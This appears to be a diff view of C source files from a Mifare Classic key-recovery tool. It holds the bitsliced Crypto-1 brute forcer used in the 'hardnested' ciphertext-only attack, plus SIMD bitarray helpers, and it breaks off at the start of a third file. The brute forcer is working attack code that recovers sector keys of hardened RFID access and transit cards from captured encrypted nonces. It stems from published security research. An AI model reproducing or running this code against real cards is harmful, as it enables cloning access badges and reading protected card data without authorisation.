|
//-----------------------------------------------------------------------------
|
||||||
|
//
|
||||||
|
// brute forcing is based on @aczids bitsliced brute forcer
|
||||||
|
// https://github.com/aczid/crypto1_bs with some modifications. Mainly:
|
||||||
|
// - don't rollback. Start with 2nd byte of nonce instead
|
||||||
|
// - reuse results of filter subfunctions
|
||||||
|
// - reuse results of previous nonces if some first bits are identical
|
||||||
|
//
|
||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
// aczid's Copyright notice:
|
||||||
|
//
|
||||||
|
// Bit-sliced Crypto-1 brute-forcing implementation
|
||||||
|
// Builds on the data structures returned by CraptEV1 craptev1_get_space(nonces, threshold, uid)
|
||||||
|
/*
|
||||||
|
Copyright (c) 2015-2016 Aram Verstegen
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
of this software and associated documentation files (the "Software"), to deal
|
||||||
|
in the Software without restriction, including without limitation the rights
|
||||||
|
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
copies of the Software, and to permit persons to whom the Software is
|
||||||
|
furnished to do so, subject to the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be included in
|
||||||
|
all copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||||
|
THE SOFTWARE.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include "hardnested_bruteforce.h"
|
||||||
|
#include <stdlib.h>
|
||||||
|
#if !defined _MSC_VER && !defined __APPLE__
|
||||||
|
#include <malloc.h>
|
||||||
|
#endif
|
||||||
|
#include "../crapto1.h"
|
||||||
|
#include "../parity.h"
|
||||||
|
|
||||||
|
#define MAX_BITSLICES 128
|
||||||
|
|
||||||
|
#define VECTOR_SIZE (MAX_BITSLICES/8)
|
||||||
|
typedef uint32_t __attribute__((aligned(VECTOR_SIZE))) __attribute__((vector_size(VECTOR_SIZE))) bitslice_value_t;
|
||||||
|
|
||||||
|
typedef union {
|
||||||
|
bitslice_value_t value;
|
||||||
|
uint64_t bytes64[MAX_BITSLICES / 64];
|
||||||
|
uint8_t bytes[MAX_BITSLICES / 8];
|
||||||
|
} bitslice_t;
|
||||||
|
|
||||||
|
// filter function (f20)
|
||||||
|
// sourced from ``Wirelessly Pickpocketing a Mifare Classic Card'' by Flavio Garcia, Peter van Rossum, Roel Verdult and Ronny Wichers Schreur
|
||||||
|
#define f20a(a,b,c,d) (((a|b)^(a&d))^(c&((a^b)|d)))
|
||||||
|
#define f20b(a,b,c,d) (((a&b)|c)^((a^b)&(c|d)))
|
||||||
|
#define f20c(a,b,c,d,e) ((a|((b|e)&(d^e)))^((a^(b&d))&((c^d)|(b&e))))
|
||||||
|
|
||||||
|
// bit indexing
|
||||||
|
#define get_bit(n, word) (((word) >> (n)) & 1)
|
||||||
|
#define get_vector_bit(slice, value) get_bit((slice)&0x3f, value.bytes64[(slice)>>6])
|
||||||
|
|
||||||
|
// size of crypto-1 state
|
||||||
|
#define STATE_SIZE 48
|
||||||
|
// size of nonce to be decrypted
|
||||||
|
#define KEYSTREAM_SIZE 24
|
||||||
|
|
||||||
|
// endianness conversion
|
||||||
|
#define rev32(word) ((((word) & 0xff) << 24) | ((((word) >> 8) & 0xff) << 16) | ((((word) >> 16) & 0xff) << 8) | ((((word) >> 24) & 0xff)))
|
||||||
|
|
||||||
|
#if defined (_WIN32)
|
||||||
|
#define malloc_bitslice(x) __builtin_assume_aligned(_aligned_malloc((x), MAX_BITSLICES/8), MAX_BITSLICES/8)
|
||||||
|
#define free_bitslice(x) _aligned_free(x)
|
||||||
|
#elif defined (__APPLE__)
|
||||||
|
|
||||||
|
static void *malloc_bitslice(size_t x) {
|
||||||
|
char *allocated_memory;
|
||||||
|
if (posix_memalign((void**) &allocated_memory, MAX_BITSLICES / 8, x)) {
|
||||||
|
return NULL;
|
||||||
|
} else {
|
||||||
|
return __builtin_assume_aligned(allocated_memory, MAX_BITSLICES / 8);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
#define free_bitslice(x) free(x)
|
||||||
|
#else
|
||||||
|
#define malloc_bitslice(x) memalign(MAX_BITSLICES/8, (x))
|
||||||
|
#define free_bitslice(x) free(x)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// arrays of bitsliced states with identical values in all slices
|
||||||
|
static bitslice_t bitsliced_encrypted_nonces[256][KEYSTREAM_SIZE];
|
||||||
|
static bitslice_t bitsliced_encrypted_parity_bits[256][4];
|
||||||
|
// 1 and 0 vectors
|
||||||
|
static bitslice_t bs_ones;
|
||||||
|
static bitslice_t bs_zeroes;
|
||||||
|
|
||||||
|
void bitslice_test_nonces_SSE2(uint32_t nonces_to_bruteforce, uint32_t *bf_test_nonce, uint8_t *bf_test_nonce_par) {
|
||||||
|
|
||||||
|
// initialize 1 and 0 vectors
|
||||||
|
memset(bs_ones.bytes, 0xff, VECTOR_SIZE);
|
||||||
|
memset(bs_zeroes.bytes, 0x00, VECTOR_SIZE);
|
||||||
|
|
||||||
|
// bitslice nonces' 2nd to 4th byte
|
||||||
|
for (uint32_t i = 0; i < nonces_to_bruteforce; i++) {
|
||||||
|
for (uint32_t bit_idx = 0; bit_idx < KEYSTREAM_SIZE; bit_idx++) {
|
||||||
|
bool bit = get_bit(KEYSTREAM_SIZE - 1 - bit_idx, rev32(bf_test_nonce[i] << 8));
|
||||||
|
if (bit) {
|
||||||
|
bitsliced_encrypted_nonces[i][bit_idx].value = bs_ones.value;
|
||||||
|
} else {
|
||||||
|
bitsliced_encrypted_nonces[i][bit_idx].value = bs_zeroes.value;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// bitslice nonces' parity (4 bits)
|
||||||
|
for (uint32_t i = 0; i < nonces_to_bruteforce; i++) {
|
||||||
|
for (uint32_t bit_idx = 0; bit_idx < 4; bit_idx++) {
|
||||||
|
bool bit = get_bit(4 - 1 - bit_idx, bf_test_nonce_par[i]);
|
||||||
|
if (bit) {
|
||||||
|
bitsliced_encrypted_parity_bits[i][bit_idx].value = bs_ones.value;
|
||||||
|
} else {
|
||||||
|
bitsliced_encrypted_parity_bits[i][bit_idx].value = bs_zeroes.value;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
uint64_t crack_states_bitsliced_SSE2(uint32_t cuid, uint8_t *best_first_bytes, statelist_t *p, uint32_t *keys_found, uint64_t *num_keys_tested, uint32_t nonces_to_bruteforce, uint8_t *bf_test_nonce_2nd_byte, noncelist_t *nonces) {
|
||||||
|
|
||||||
|
// Unlike aczid's implementation this doesn't roll back at all when performing bitsliced bruteforce.
|
||||||
|
// We know that the best first byte is already shifted in. Testing with the remaining three bytes of
|
||||||
|
// the nonces is sufficient to eliminate most of them. The small rest is tested with a simple unsliced
|
||||||
|
// brute forcing (including roll back).
|
||||||
|
|
||||||
|
bitslice_t states[KEYSTREAM_SIZE + STATE_SIZE];
|
||||||
|
bitslice_t * restrict state_p;
|
||||||
|
uint64_t key = -1;
|
||||||
|
uint64_t bucket_states_tested = 0;
|
||||||
|
uint32_t bucket_size[(p->len[EVEN_STATE] - 1) / MAX_BITSLICES + 1];
|
||||||
|
uint32_t bitsliced_blocks = 0;
|
||||||
|
uint32_t const *restrict p_even_end = p->states[EVEN_STATE] + p->len[EVEN_STATE];
|
||||||
|
|
||||||
|
// constant ones/zeroes
|
||||||
|
memset(bs_ones.bytes, 0xff, VECTOR_SIZE);
|
||||||
|
memset(bs_zeroes.bytes, 0x00, VECTOR_SIZE);
|
||||||
|
|
||||||
|
// bitslice all the even states
|
||||||
|
bitslice_t * * restrict bitsliced_even_states = (bitslice_t **) malloc(((p->len[EVEN_STATE] - 1) / MAX_BITSLICES + 1) * sizeof (bitslice_t *));
|
||||||
|
if (bitsliced_even_states == NULL) {
|
||||||
|
printf("Out of memory error in brute_force. Aborting...");
|
||||||
|
exit(4);
|
||||||
|
}
|
||||||
|
bitslice_value_t * restrict bitsliced_even_feedback = malloc_bitslice(((p->len[EVEN_STATE] - 1) / MAX_BITSLICES + 1) * sizeof (bitslice_value_t));
|
||||||
|
if (bitsliced_even_feedback == NULL) {
|
||||||
|
printf("Out of memory error in brute_force. Aborting...");
|
||||||
|
exit(4);
|
||||||
|
}
|
||||||
|
for (uint32_t * restrict p_even = p->states[EVEN_STATE]; p_even < p_even_end; p_even += MAX_BITSLICES) {
|
||||||
|
bitslice_t * restrict lstate_p = malloc_bitslice(STATE_SIZE / 2 * sizeof (bitslice_t));
|
||||||
|
if (lstate_p == NULL) {
|
||||||
|
printf("Out of memory error in brute_force. Aborting... \n");
|
||||||
|
exit(4);
|
||||||
|
}
|
||||||
|
memset(lstate_p, 0x00, STATE_SIZE / 2 * sizeof (bitslice_t)); // zero even bits
|
||||||
|
// bitslice even half-states
|
||||||
|
const uint32_t max_slices = (p_even_end - p_even) < MAX_BITSLICES ? p_even_end - p_even : MAX_BITSLICES;
|
||||||
|
bucket_size[bitsliced_blocks] = max_slices;
|
||||||
|
uint32_t slice_idx;
|
||||||
|
for (slice_idx = 0; slice_idx < max_slices; ++slice_idx) {
|
||||||
|
uint32_t e = *(p_even + slice_idx);
|
||||||
|
for (uint32_t bit_idx = 0; bit_idx < STATE_SIZE / 2; bit_idx++, e >>= 1) {
|
||||||
|
// set even bits
|
||||||
|
if (e & 1) {
|
||||||
|
lstate_p[bit_idx].bytes64[slice_idx >> 6] |= 1ull << (slice_idx & 0x3f);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// padding with last even state
|
||||||
|
for (; slice_idx < MAX_BITSLICES; ++slice_idx) {
|
||||||
|
uint32_t e = *(p_even_end - 1);
|
||||||
|
for (uint32_t bit_idx = 0; bit_idx < STATE_SIZE / 2; bit_idx++, e >>= 1) {
|
||||||
|
// set even bits
|
||||||
|
if (e & 1) {
|
||||||
|
lstate_p[bit_idx].bytes64[slice_idx >> 6] |= 1ull << (slice_idx & 0x3f);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
bitsliced_even_states[bitsliced_blocks] = lstate_p;
|
||||||
|
// bitsliced_even_feedback[bitsliced_blocks] = bs_ones;
|
||||||
|
bitsliced_even_feedback[bitsliced_blocks] = lstate_p[(47 - 0) / 2].value ^
|
||||||
|
lstate_p[(47 - 10) / 2].value ^ lstate_p[(47 - 12) / 2].value ^ lstate_p[(47 - 14) / 2].value ^
|
||||||
|
lstate_p[(47 - 24) / 2].value ^ lstate_p[(47 - 42) / 2].value;
|
||||||
|
bitsliced_blocks++;
|
||||||
|
}
|
||||||
|
// bitslice every odd state to every block of even states
|
||||||
|
for (uint32_t const *restrict p_odd = p->states[ODD_STATE]; p_odd < p->states[ODD_STATE] + p->len[ODD_STATE]; ++p_odd) {
|
||||||
|
// early abort
|
||||||
|
if (*keys_found) {
|
||||||
|
goto out;
|
||||||
|
}
|
||||||
|
|
||||||
|
// set odd state bits and pre-compute first keystream bit vector. This is the same for all blocks of even states
|
||||||
|
|
||||||
|
state_p = &states[KEYSTREAM_SIZE];
|
||||||
|
uint32_t o = *p_odd;
|
||||||
|
|
||||||
|
// pre-compute the odd feedback bit
|
||||||
|
bool odd_feedback_bit = evenparity32(o & 0x29ce5c);
|
||||||
|
const bitslice_value_t odd_feedback = odd_feedback_bit ? bs_ones.value : bs_zeroes.value;
|
||||||
|
|
||||||
|
// set odd state bits
|
||||||
|
for (uint32_t state_idx = 0; state_idx < STATE_SIZE; o >>= 1, state_idx += 2) {
|
||||||
|
if (o & 1) {
|
||||||
|
state_p[state_idx] = bs_ones;
|
||||||
|
} else {
|
||||||
|
state_p[state_idx] = bs_zeroes;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
bitslice_value_t crypto1_bs_f20b_2[16];
|
||||||
|
bitslice_value_t crypto1_bs_f20b_3[8];
|
||||||
|
|
||||||
|
crypto1_bs_f20b_2[0] = f20b(state_p[47 - 25].value, state_p[47 - 27].value, state_p[47 - 29].value, state_p[47 - 31].value);
|
||||||
|
crypto1_bs_f20b_3[0] = f20b(state_p[47 - 41].value, state_p[47 - 43].value, state_p[47 - 45].value, state_p[47 - 47].value);
|
||||||
|
|
||||||
|
bitslice_value_t ksb[8];
|
||||||
|
ksb[0] = f20c(f20a(state_p[47 - 9].value, state_p[47 - 11].value, state_p[47 - 13].value, state_p[47 - 15].value),
|
||||||
|
f20b(state_p[47 - 17].value, state_p[47 - 19].value, state_p[47 - 21].value, state_p[47 - 23].value),
|
||||||
|
crypto1_bs_f20b_2[0],
|
||||||
|
f20a(state_p[47 - 33].value, state_p[47 - 35].value, state_p[47 - 37].value, state_p[47 - 39].value),
|
||||||
|
crypto1_bs_f20b_3[0]);
|
||||||
|
|
||||||
|
uint32_t * restrict p_even = p->states[EVEN_STATE];
|
||||||
|
for (uint32_t block_idx = 0; block_idx < bitsliced_blocks; ++block_idx, p_even += MAX_BITSLICES) {
|
||||||
|
// add the even state bits
|
||||||
|
const bitslice_t * restrict bitsliced_even_state = bitsliced_even_states[block_idx];
|
||||||
|
for (uint32_t state_idx = 1; state_idx < STATE_SIZE; state_idx += 2) {
|
||||||
|
state_p[state_idx] = bitsliced_even_state[state_idx / 2];
|
||||||
|
}
|
||||||
|
|
||||||
|
// pre-compute first feedback bit vector. This is the same for all nonces
|
||||||
|
bitslice_value_t fbb[8];
|
||||||
|
fbb[0] = odd_feedback ^ bitsliced_even_feedback[block_idx];
|
||||||
|
|
||||||
|
// vector to contain test results (1 = passed, 0 = failed)
|
||||||
|
bitslice_t results = bs_ones;
|
||||||
|
|
||||||
|
// parity_bits
|
||||||
|
bitslice_value_t par[8];
|
||||||
|
par[0] = bs_zeroes.value;
|
||||||
|
uint32_t next_common_bits = 0;
|
||||||
|
|
||||||
|
for (uint32_t tests = 0; tests < nonces_to_bruteforce; ++tests) {
|
||||||
|
// common bits with preceding test nonce
|
||||||
|
uint32_t common_bits = next_common_bits; //tests ? trailing_zeros(bf_test_nonce_2nd_byte[tests] ^ bf_test_nonce_2nd_byte[tests-1]) : 0;
|
||||||
|
next_common_bits = tests < nonces_to_bruteforce - 1 ? trailing_zeros(bf_test_nonce_2nd_byte[tests] ^ bf_test_nonce_2nd_byte[tests + 1]) : 0;
|
||||||
|
uint32_t parity_bit_idx = 1; // start checking with the parity of second nonce byte
|
||||||
|
bitslice_value_t fb_bits = fbb[common_bits]; // start with precomputed feedback bits from previous nonce
|
||||||
|
bitslice_value_t ks_bits = ksb[common_bits]; // dito for first keystream bits
|
||||||
|
bitslice_value_t parity_bit_vector = par[common_bits]; // dito for first parity vector
|
||||||
|
// bitslice_value_t fb_bits = fbb[0]; // start with precomputed feedback bits from previous nonce
|
||||||
|
// bitslice_value_t ks_bits = ksb[0]; // dito for first keystream bits
|
||||||
|
// bitslice_value_t parity_bit_vector = par[0]; // dito for first parity vector
|
||||||
|
state_p -= common_bits; // and reuse the already calculated state bits
|
||||||
|
// highest bit is transmitted/received first. We start with Bit 23 (highest bit of second nonce byte),
|
||||||
|
// or the highest bit which differs from the previous nonce
|
||||||
|
for (int32_t ks_idx = KEYSTREAM_SIZE - 1 - common_bits; ks_idx >= 0; --ks_idx) {
|
||||||
|
|
||||||
|
// decrypt nonce bits
|
||||||
|
const bitslice_value_t encrypted_nonce_bit_vector = bitsliced_encrypted_nonces[tests][ks_idx].value;
|
||||||
|
const bitslice_value_t decrypted_nonce_bit_vector = encrypted_nonce_bit_vector ^ ks_bits;
|
||||||
|
|
||||||
|
// compute real parity bits on the fly
|
||||||
|
parity_bit_vector ^= decrypted_nonce_bit_vector;
|
||||||
|
|
||||||
|
// update state
|
||||||
|
state_p--;
|
||||||
|
state_p[0].value = fb_bits ^ decrypted_nonce_bit_vector;
|
||||||
|
|
||||||
|
// update crypto1 subfunctions
|
||||||
|
bitslice_value_t f20a_1, f20b_1, f20b_2, f20a_2, f20b_3;
|
||||||
|
f20a_2 = f20a(state_p[47 - 33].value, state_p[47 - 35].value, state_p[47 - 37].value, state_p[47 - 39].value);
|
||||||
|
f20b_3 = f20b(state_p[47 - 41].value, state_p[47 - 43].value, state_p[47 - 45].value, state_p[47 - 47].value);
|
||||||
|
if (ks_idx > KEYSTREAM_SIZE - 8) {
|
||||||
|
f20a_1 = f20a(state_p[47 - 9].value, state_p[47 - 11].value, state_p[47 - 13].value, state_p[47 - 15].value);
|
||||||
|
f20b_1 = f20b(state_p[47 - 17].value, state_p[47 - 19].value, state_p[47 - 21].value, state_p[47 - 23].value);
|
||||||
|
f20b_2 = f20b(state_p[47 - 25].value, state_p[47 - 27].value, state_p[47 - 29].value, state_p[47 - 31].value);
|
||||||
|
crypto1_bs_f20b_2[KEYSTREAM_SIZE - ks_idx] = f20b_2;
|
||||||
|
crypto1_bs_f20b_3[KEYSTREAM_SIZE - ks_idx] = f20b_3;
|
||||||
|
} else if (ks_idx > KEYSTREAM_SIZE - 16) {
|
||||||
|
f20a_1 = f20a(state_p[47 - 9].value, state_p[47 - 11].value, state_p[47 - 13].value, state_p[47 - 15].value);
|
||||||
|
f20b_1 = crypto1_bs_f20b_2[KEYSTREAM_SIZE - ks_idx - 8];
|
||||||
|
f20b_2 = f20b(state_p[47 - 25].value, state_p[47 - 27].value, state_p[47 - 29].value, state_p[47 - 31].value);
|
||||||
|
crypto1_bs_f20b_2[KEYSTREAM_SIZE - ks_idx] = f20b_2;
|
||||||
|
} else if (ks_idx > KEYSTREAM_SIZE - 24) {
|
||||||
|
f20a_1 = f20a(state_p[47 - 9].value, state_p[47 - 11].value, state_p[47 - 13].value, state_p[47 - 15].value);
|
||||||
|
f20b_1 = crypto1_bs_f20b_2[KEYSTREAM_SIZE - ks_idx - 8];
|
||||||
|
f20b_2 = crypto1_bs_f20b_3[KEYSTREAM_SIZE - ks_idx - 16];
|
||||||
|
} else {
|
||||||
|
f20a_1 = f20a(state_p[47 - 9].value, state_p[47 - 11].value, state_p[47 - 13].value, state_p[47 - 15].value);
|
||||||
|
f20b_1 = f20b(state_p[47 - 17].value, state_p[47 - 19].value, state_p[47 - 21].value, state_p[47 - 23].value);
|
||||||
|
f20b_2 = f20b(state_p[47 - 25].value, state_p[47 - 27].value, state_p[47 - 29].value, state_p[47 - 31].value);
|
||||||
|
}
|
||||||
|
// update keystream bit
|
||||||
|
ks_bits = f20c(f20a_1, f20b_1, f20b_2, f20a_2, f20b_3);
|
||||||
|
|
||||||
|
// for each completed byte:
|
||||||
|
if ((ks_idx & 0x07) == 0) {
|
||||||
|
// get encrypted parity bits
|
||||||
|
const bitslice_value_t encrypted_parity_bit_vector = bitsliced_encrypted_parity_bits[tests][parity_bit_idx++].value;
|
||||||
|
|
||||||
|
// decrypt parity bits
|
||||||
|
const bitslice_value_t decrypted_parity_bit_vector = encrypted_parity_bit_vector ^ ks_bits;
|
||||||
|
|
||||||
|
// compare actual parity bits with decrypted parity bits and take count in results vector
|
||||||
|
results.value &= ~parity_bit_vector ^ decrypted_parity_bit_vector;
|
||||||
|
|
||||||
|
// make sure we still have a match in our set
|
||||||
|
// if(memcmp(&results, &bs_zeroes, sizeof(bitslice_t)) == 0){
|
||||||
|
|
||||||
|
// this is much faster on my gcc, because somehow a memcmp needlessly spills/fills all the xmm registers to/from the stack - ???
|
||||||
|
// the short-circuiting also helps
|
||||||
|
if (results.bytes64[0] == 0 && results.bytes64[1] == 0) {
|
||||||
|
goto stop_tests;
|
||||||
|
}
|
||||||
|
// prepare for next nonce byte
|
||||||
|
parity_bit_vector = bs_zeroes.value;
|
||||||
|
}
|
||||||
|
// update feedback bit vector
|
||||||
|
if (ks_idx != 0) {
|
||||||
|
fb_bits =
|
||||||
|
(state_p[47 - 0].value ^ state_p[47 - 5].value ^ state_p[47 - 9].value ^
|
||||||
|
state_p[47 - 10].value ^ state_p[47 - 12].value ^ state_p[47 - 14].value ^
|
||||||
|
state_p[47 - 15].value ^ state_p[47 - 17].value ^ state_p[47 - 19].value ^
|
||||||
|
state_p[47 - 24].value ^ state_p[47 - 25].value ^ state_p[47 - 27].value ^
|
||||||
|
state_p[47 - 29].value ^ state_p[47 - 35].value ^ state_p[47 - 39].value ^
|
||||||
|
state_p[47 - 41].value ^ state_p[47 - 42].value ^ state_p[47 - 43].value);
|
||||||
|
}
|
||||||
|
// remember feedback and keystream vectors for later use
|
||||||
|
uint8_t bit = KEYSTREAM_SIZE - ks_idx;
|
||||||
|
if (bit <= next_common_bits) { // if needed and not yet stored
|
||||||
|
fbb[bit] = fb_bits;
|
||||||
|
ksb[bit] = ks_bits;
|
||||||
|
par[bit] = parity_bit_vector;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// prepare for next nonce. Revert to initial state
|
||||||
|
state_p = &states[KEYSTREAM_SIZE];
|
||||||
|
}
|
||||||
|
|
||||||
|
// all nonce tests were successful: we've found a possible key in this block!
|
||||||
|
uint32_t *p_even_test = p_even;
|
||||||
|
for (uint32_t results_word = 0; results_word < MAX_BITSLICES / 64; ++results_word) {
|
||||||
|
uint64_t results64 = results.bytes64[results_word];
|
||||||
|
for (uint32_t results_bit = 0; results_bit < 64; results_bit++) {
|
||||||
|
if (results64 & 0x01) {
|
||||||
|
if (verify_key(cuid, nonces, best_first_bytes, *p_odd, *p_even_test)) {
|
||||||
|
struct Crypto1State pcs;
|
||||||
|
pcs.odd = *p_odd;
|
||||||
|
pcs.even = *p_even_test;
|
||||||
|
lfsr_rollback_byte(&pcs, (cuid >> 24) ^ best_first_bytes[0], true);
|
||||||
|
crypto1_get_lfsr(&pcs, &key);
|
||||||
|
bucket_states_tested += 64 * results_word + results_bit;
|
||||||
|
goto out;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
results64 >>= 1;
|
||||||
|
p_even_test++;
|
||||||
|
if (p_even_test == p_even_end) {
|
||||||
|
goto stop_tests;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
stop_tests:
|
||||||
|
bucket_states_tested += bucket_size[block_idx];
|
||||||
|
// prepare to set new states
|
||||||
|
state_p = &states[KEYSTREAM_SIZE];
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
out:
|
||||||
|
for (uint32_t block_idx = 0; block_idx < bitsliced_blocks; ++block_idx) {
|
||||||
|
free_bitslice(bitsliced_even_states[block_idx]);
|
||||||
|
}
|
||||||
|
free(bitsliced_even_states);
|
||||||
|
free_bitslice(bitsliced_even_feedback);
|
||||||
|
__sync_fetch_and_add(num_keys_tested, bucket_states_tested);
|
||||||
|
return key;
|
||||||
|
}
|
||||||
132
src/hardnested/hardnested_bitarray_core_AVX.c
Normal file
132
src/hardnested/hardnested_bitarray_core_AVX.c
Normal file
@ -0,0 +1,132 @@
|
|||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
// Copyright (C) 2016, 2017 by piwi
|
||||||
|
//
|
||||||
|
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||||
|
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||||
|
// the license.ch b
|
||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
// Implements a card only attack based on crypto text (encrypted nonces
|
||||||
|
// received during a nested authentication) only. Unlike other card only
|
||||||
|
// attacks this doesn't rely on implementation errors but only on the
|
||||||
|
// inherent weaknesses of the crypto1 cypher. Described in
|
||||||
|
// Carlo Meijer, Roel Verdult, "Ciphertext-only Cryptanalysis on Hardened
|
||||||
|
// Mifare Classic Cards" in Proceedings of the 22nd ACM SIGSAC Conference on
|
||||||
|
// Computer and Communications Security, 2015
|
||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
// some helper functions which can benefit from SIMD instructions or other special instructions
|
||||||
|
//
|
||||||
|
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#if !defined _MSC_VER && !defined __APPLE__
|
||||||
|
#include <malloc.h>
|
||||||
|
#endif
|
||||||
|
|
||||||
|
uint32_t* malloc_bitarray_AVX(uint32_t x) {
|
||||||
|
#if defined (_WIN32)
|
||||||
|
return __builtin_assume_aligned(_aligned_malloc((x), 16), 16);
|
||||||
|
#elif defined (__APPLE__)
|
||||||
|
uint32_t *allocated_memory;
|
||||||
|
if (posix_memalign((void**) &allocated_memory, 16, x)) {
|
||||||
|
return NULL;
|
||||||
|
} else {
|
||||||
|
return __builtin_assume_aligned(allocated_memory, 16);
|
||||||
|
}
|
||||||
|
#else
|
||||||
|
return __builtin_assume_aligned(memalign(16, (x)), 16);
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
void free_bitarray_AVX(uint32_t *x) {
|
||||||
|
#ifdef _WIN32
|
||||||
|
_aligned_free(x);
|
||||||
|
#else
|
||||||
|
free(x);
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void bitarray_AND_AVX(uint32_t* restrict A, uint32_t* restrict B) {
|
||||||
|
A = __builtin_assume_aligned(A, 16);
|
||||||
|
B = __builtin_assume_aligned(B, 16);
|
||||||
|
for (uint32_t i = 0; i < (1 << 19); i++) {
|
||||||
|
A[i] &= B[i];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
uint32_t count_bitarray_AND_AVX(uint32_t* restrict A, uint32_t* restrict B) {
|
||||||
|
A = __builtin_assume_aligned(A, 16);
|
||||||
|
B = __builtin_assume_aligned(B, 16);
|
||||||
|
uint32_t count = 0;
|
||||||
|
for (uint32_t i = 0; i < (1 << 19); i++) {
|
||||||
|
A[i] &= B[i];
|
||||||
|
count += __builtin_popcountl(A[i]);
|
||||||
|
}
|
||||||
|
return count;
|
||||||
|
}
|
||||||
|
|
||||||
|
uint32_t count_bitarray_low20_AND_AVX(uint32_t* restrict A, uint32_t* restrict B) {
|
||||||
|
uint16_t* a = (uint16_t*)__builtin_assume_aligned(A, 16);
|
||||||
|
uint16_t* b = (uint16_t*)__builtin_assume_aligned(B, 16);
|
||||||
|
uint32_t count = 0;
|
||||||
|
|
||||||
|
for (uint32_t i = 0; i < (1 << 20); i++) {
|
||||||
|
if (!b[i]) {
|
||||||
|
a[i] = 0;
|
||||||
|
}
|
||||||
|
count += __builtin_popcountl(a[i]);
|
||||||
|
}
|
||||||
|
return count;
|
||||||
|
}
|
||||||
|
|
||||||
|
void bitarray_AND4_AVX(uint32_t* restrict A, uint32_t* restrict B, uint32_t* restrict C, uint32_t* restrict D) {
|
||||||
|
A = __builtin_assume_aligned(A, 16);
|
||||||
|
B = __builtin_assume_aligned(B, 16);
|
||||||
|
C = __builtin_assume_aligned(C, 16);
|
||||||
|
D = __builtin_assume_aligned(D, 16);
|
||||||
|
for (uint32_t i = 0; i < (1 << 19); i++) {
|
||||||
|
A[i] = B[i] & C[i] & D[i];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void bitarray_OR_AVX(uint32_t* restrict A, uint32_t* restrict B) {
|
||||||
|
A = __builtin_assume_aligned(A, 16);
|
||||||
|
B = __builtin_assume_aligned(B, 16);
|
||||||
|
for (uint32_t i = 0; i < (1 << 19); i++) {
|
||||||
|
A[i] |= B[i];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
uint32_t count_bitarray_AND2_AVX(uint32_t* restrict A, uint32_t* restrict B) {
|
||||||
|
A = __builtin_assume_aligned(A, 16);
|
||||||
|
B = __builtin_assume_aligned(B, 16);
|
||||||
|
uint32_t count = 0;
|
||||||
|
for (uint32_t i = 0; i < (1 << 19); i++) {
|
||||||
|
count += __builtin_popcountl(A[i] & B[i]);
|
||||||
|
}
|
||||||
|
return count;
|
||||||
|
}
|
||||||
|
|
||||||
|
uint32_t count_bitarray_AND3_AVX(uint32_t* restrict A, uint32_t* restrict B, uint32_t* restrict C) {
|
||||||
|
A = __builtin_assume_aligned(A, 16);
|
||||||
|
B = __builtin_assume_aligned(B, 16);
|
||||||
|
C = __builtin_assume_aligned(C, 16);
|
||||||
|
uint32_t count = 0;
|
||||||
|
for (uint32_t i = 0; i < (1 << 19); i++) {
|
||||||
|
count += __builtin_popcountl(A[i] & B[i] & C[i]);
|
||||||
|
}
|
||||||
|
return count;
|
||||||
|
}
|
||||||
|
|
||||||
|
uint32_t count_bitarray_AND4_AVX(uint32_t* restrict A, uint32_t* restrict B, uint32_t* restrict C, uint32_t* restrict D) {
|
||||||
|
A = __builtin_assume_aligned(A, 16);
|
||||||
|
B = __builtin_assume_aligned(B, 16);
|
||||||
|
C = __builtin_assume_aligned(C, 16);
|
||||||
|
D = __builtin_assume_aligned(D, 16);
|
||||||
|
uint32_t count = 0;
|
||||||
|
for (uint32_t i = 0; i < (1 << 19); i++) {
|
||||||
|
count += __builtin_popcountl(A[i] & B[i] & C[i] & D[i]);
|
||||||
|
}
|
||||||
|
return count;
|
||||||
|
}
|
||||||
|
|
||||||
132
src/hardnested/hardnested_bitarray_core_AVX2.c
Normal file
132
src/hardnested/hardnested_bitarray_core_AVX2.c
Normal file
@ -0,0 +1,132 @@
|
|||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
// Copyright (C) 2016, 2017 by piwi
|
||||||
